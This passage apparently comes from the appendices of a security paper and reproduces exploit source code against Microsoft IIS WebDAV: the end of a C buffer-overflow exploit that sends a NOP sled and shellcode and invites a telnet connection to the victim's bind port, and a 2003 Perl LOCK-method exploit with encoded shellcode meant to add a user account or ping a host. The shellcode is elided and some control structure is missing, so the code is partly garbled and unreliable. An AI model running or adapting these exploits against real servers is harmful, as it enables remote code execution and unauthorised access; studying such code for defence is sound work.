  // The rest is padded with NOP's. RET address should point to this zone!
  for (; j < i+65535-strlen(jumpcode); j++)
	buffer[j] = NOP;

  // Then we skip the body of the HTTP request
  memcpy(&buffer[j], jumpcode, strlen(jumpcode));

  strcpy(buffer+strlen(buffer), " HTTP/1.1\r\n");
  sprintf(buffer+strlen(buffer), "Host: %s\r\nContent-Type: text/xml\r\nContent-Length: %d\r\n\r\n", argv[1], strlen(body) + strlen(shellcode));
  strcpy(buffer+strlen(buffer), body);
  // This byte is used to mark the beginning of the shellcode
  memset(buffer+strlen(buffer), 0x01, 1);
  // And finally, we land into our shellcode
  memset(buffer+strlen(buffer), NOP, 3);
  strcpy(buffer+strlen(buffer), shellcode);
  // Send request
  if (send(s, buffer, strlen(buffer), 0) != strlen(buffer))
	  perror("Failed to send");

  printf("[*] Now open another console/shell and try to connect (telnet) to victim port %i...\n", bport);

  // Receive response
  while ( (r=recv(s, &buffer[rt], MAXBUF-1, 0)) > 0)
	rt += r;
  // This code is not bullet-proof. An evil WWW server could return a response bigger than MAXBUF
  // and an overflow would occur here. Yes, I'm lazy... :-)
  buffer[rt] = '\0';
  if (rt > 0)
	printf("[*] Victim server issued the following %d bytes of response:\n--\n%s\n--\n[*] Server NOT vulnerable!\n", rt, buffer);
    printf("[*] Server is vulnerable but the exploit failed! Change RET value (e.g. 0xce04) and try again (when IIS is up again) :-/\n", bport);


Appendix C Source code of

# 2003.3.24
# tested on Windows 2000 Advanced Server SP3: Korean language edition 
# ntdll.dll with 2002.7.3 version
# You need to change some parameters to make this exploit work on your platform of choice
# This exploit uses unicode decoder scheme and self-modifies unicoded shellcode to original one.

use Socket;

        die "usage: \n";

my $host=$ARGV[0];

my $url_len=65514;
#LOCK: 65514
#SEARCH: 65535

my $host_header="Host: $host\r\n";
my $translate_f="Translate: f\r\n";
my $port=80;
my $depth="Depth: 1\r\n";
my $connection_str="Connection: Close\r\n";
my $url2="B";
my $cont="C";
my $lock_token="Lock-Token: $cont\r\n";
my $destination="Destination: /$url2\r\n";

# LoadLibrary: 0x100107c;
# GetProcAddress 0x1001034;
# WinExec("net user matt 1234 /ADD")
# this shellcode is encoded to printable string form
my $shellcode_net_user_add_mat="\x34\x34\x30\x2e\x2c\ ... x76\x77\x49\x4a";
my $shellcode_ping_211_59_27_66="\x34\x34\x30\x2e\x2c ... x76\x77\x49\x4a";
my $shellcode="$shellcode_ping_211_59_27_66";
my $body="< ?xml version=\"1.0\">\r\n\r\n\r\nSelect \"DAV:displayname\" from scope()\r\n\r\n\r\n";
my $length_of_body=length($body);

# jmp ebx,call ebx addresses
my @return_addresses=(


foreach my $return_address (@return_addresses)
	######### return address ############
	my $return_address_part="";

	############  offsets ##############
	my $offset_len=280;
	my $offset_part="X"x$offset_len;
	my $shellcode_len=$url_len-(length($return_address_part)/6+$offset_len);

	my $offset_of_part_shell=0;
	print "len-> $url_len=$shellcode_len:$offset_len\n";

	my $decoder_str="%uC931%u79B1%uc ... 9%uc985%uca75%uc985";
	my $decoder_str_len=length($decoder_str)/6;
	my $patch_esp="\x44\x45\x76\x76";
	my $nop="%u0048%u0048";
	my $encoded_str="${nop}${patch_esp}${shellcode}";
	my $unicoded_encoded_str_len=4*5;

	my $shellcode_part="";

	my $url="/${offset_part}${return_address_part}${shellcode_part}";
	for my $METHOD ("LOCK")
		my $string_to_send="$METHOD $url HTTP/1.1\r\n${host_header}${destin
ation}${lock_token}${translate_f}${depth}Content-Type: text/xml\r\nContent-Length: $length_of_body\r\n${connection_str}\r\n${body}";
		my $results="";
		while($results eq "")
			print STDERR "Retrying Connection...\n";
			$results=sendraw2("GET / HTTP/1.0\r\n\r\n",$host,$port,15);
			if($results eq "")
		print STDERR "Trying with [$return_address]\n";
		if($results eq "")
			print "Connection refused: Server crashed?\n";
			print "Failed to exploit: Server not crashed\n";
			print $results;

sub sendraw2
	my ($pstr,$realip,$realport,$timeout)=@_;
	my $target2=inet_aton($realip);
	my $flagexit=0;
	socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || return "0";
	#die("Socket problems");
	if(connect(S,pack "SnA4x8",2,$realport,$target2))
		my @in;
		select(S); $|=1;
		print $pstr;
			if($flagexit == 1)
				close (S);
				return "Timeout";
			push @in, $_;
		return join '',@in;
		return "";

sub ermm
	close (S);